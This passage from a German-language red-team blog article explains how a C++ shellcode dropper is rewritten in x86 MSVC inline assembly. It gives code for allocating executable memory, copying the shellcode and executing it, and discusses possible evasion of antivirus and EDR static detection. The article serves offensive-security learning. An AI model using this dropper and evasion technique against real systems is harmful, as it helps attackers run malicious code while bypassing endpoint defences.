Im Referenzcode erfolgte die Speicherreservierung durch den direkten Aufruf von VirtualAlloc, im Vergleich dazu wurden in der Inline Assembly Variante die benötigten Argumente der Funktion VirtualAlloc zunächst per Push Anweisung auf den Stack gelegt und anschließend per Call-Anweisung VirtualAlloc aufgerufen.

// Reference code C++ -> Allocate Virtual Memory 
	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// Rewritten code in x86 Inline Assembly -> Allocate Virtual Memory 
__asm {
        // Push the function arguments onto the stack in reverse order for VirtualAlloc
        push PAGE_EXECUTE_READWRITE
        push MEM_COMMIT
        push codeSize
        push 0

        // Call VirtualAlloc
        call VirtualAlloc

        // Store the result (allocated memory address) in 'exec'
        mov exec, eax

        // Clean up the stack (4 arguments * 4 bytes each)
        // add esp, 16
    }

Kopieren des Shellcodes

Um den Shellcode von der Quelladresse zur Zieladresse zu kopieren, wurde im C++ Referenzcode die Funktion memcpy verwendet. Im Vergleich dazu wurde in der umgeschriebenen x86 Inline Assembly Variante die Assembly Anweisung rep movsb verwendet, um den Shellcode Byte für Byte von der Quelladresse zur Zieladresse zu kopieren.

// Reference code C++ -> Copy shellcode into allocated memory 
	memcpy(exec, code, sizeof code);

// Rewritten code in x86 Inline Assembly -> Copy shellcode into allocated memory
    __asm {
        lea esi, [code]     ; Load the address of the code data into the ESI register using lea instruction
        mov edi, exec       ; Load the address of the allocated memory into the EDI register
        mov ecx, codeSize   ; Load the size of the code into the ECX register
        cld                 ; Clear the direction flag
        rep movsb           ; Copy the code data to the allocated memory byte by byte
    }

Ausführung des Shellcodes

In beiden Codevarianten erfolgt die Ausführung des Shellcodes durch Aufruf der Speicheradresse in der Variablen exec. Mit dem Unterschied, dass im Referenzcode die Ausführung direkt über einen Function Pointer auf die Variable exec erfolgt und im Vergleich dazu im umgeschriebenen Inline Assembly Code die Speicheradresse von exec zunächst in das Register ebx verschoben und anschließend über eine Call-Anweisung aufgerufen wird.

// Reference code C++ -> Execute shellcode in memory 
	((void(*)())exec)();

// Rewritten code in x86 Inline Assembly -> Execute shellcode in memory
    __asm {
        mov ebx, exec       ; Load the address of the allocated memory into the EBX register
        call ebx            ; Call the code in the allocated memory
    }

Zusammenfassung und Erkenntnisse

In diesem Artikel wurden die Grundlagen der Kompilierung von Quellcode sowie einige Grundlagen im Bereich x86 Assembly besprochen, die zum besseren Verständnis im weiteren Verlauf des Artikels beitragen sollen. Nachdem die Grundlagen von x86 Assembly anhand von zwei Berechnungsbeispielen erläutert wurden, wurde im nächsten Schritt mit der technischen Umsetzung des x86 Inline Assembly Shellcode Droppers in MSVC Syntax begonnen.

Die Hauptaufgabe bestand darin, einen High Level API Referenz Dropper so umzuschreiben, dass die verwendeten Windows APIs bzw. Funktionen nicht als C++ Code dargestellt werden, sondern durch die entsprechenden x86 Inline Assembly (MSVC) Anweisungen ersetzt bzw. umgeschrieben werden. D.h. die benötigten Funktionen für die Speicherreservierung, das Kopieren des Shellcodes in den reservierten Speicher und die Ausführung des Shellcodes wurden in einem C++ Projekt unter Visual Studio 2019 mittels x86 Inline Assembly nach der MSVC Syntax realisiert. Die folgende Abbildung zeigt die Transformation des ursprünglichen Referenzcodes in den x86 Inline Assembly Code.

Eine der wichtigsten Erkenntnisse während der Entwicklung dieses Artikels und des Inline Assembly Droppers war, dass Inline Assembly nicht automatisch mit dem Prinzip des Direct System Calls gleichzusetzen ist. Das mag für manche trivial klingen, aber ich persönlich finde, dass diese Erkenntnis grundlegend ist, um das Konzept von Inline Assembly zu verstehen. Anfangs dachte ich, wenn ich den High Level API Dropper auf Inline Assembly umschreibe, dass die Ausführung der entsprechenden System Calls z.B. für VirtualAlloc nicht mehr über die ntdll.dll erfolgt, da ich ja Assembly Code verwende. Allerdings wurde mir erst im Laufe meiner Recherchen klar, dass die notwendigen System Calls weiterhin über die ntdll.dll bezogen werden müssen, da lediglich die Schreibweise der verwendeten Funktionen im C++ Projekt auf x86 Inline Assembly umgeschrieben wurde. Dadurch wurde mir auch klar, dass es möglich ist, den Dropper in Richtung Medium Level APIs (NTAPIS) und Low Level APIs (Syscalls) zu entwickeln. Aus programmiertechnischer Sicht ist das auf jeden Fall spannend, aber ich glaube nicht, dass das Konzept der x86 Inline Assembly generell einen Vorteil im Bereich EDR Evasion bietet, da die grundsätzliche Funktion des Codes immer gleich bleibt, es ändert sich nur die programmiertechnische Darstellung des Codes.

Was ich mir vorstellen kann ist, dass die Darstellung des Quellcodes der benötigten Windows APIs und Funktionen im Inline Assembly Format evtl. einen positiven Einfluss (aus Sicht des Red Teams) auf die statischen Erkennungsmuster von Antivirus, Endpoint Protection und EDR haben kann. D.h. einige Endpoint Security Produkte analysieren den Quellcode auf Kombinationen von APIs, die häufig im Kontext der Ausführung von Schadcode auftreten und triggern ggf. darauf. Das Umschreiben in Inline-Assembly-Code könnte diese Erkennungsmuster möglicherweise teilweise durchbrechen.

Am Ende dieses Artikels kann ich sagen, dass ich schon lange nicht mehr so viel gelernt habe, wie beim Schreiben dieses Artikels. Ich habe mich noch nie so tief in die Details von Compiler, Assembly, Stack etc. eingearbeitet und es war einfach genial. Das Thema Assembly fasziniert mich nach wie vor und ich freue mich schon auf weitere spannende Projekte.

Alle Code Samples in diesem Artikel sind auch auf meinem Github Account zu finden.

Happy Hacking!

Daniel Feichter @VirtualAllocEx

Zuletzt aktualisiert 27.03.24 17:17:08 27.03.24
Daniel Feichter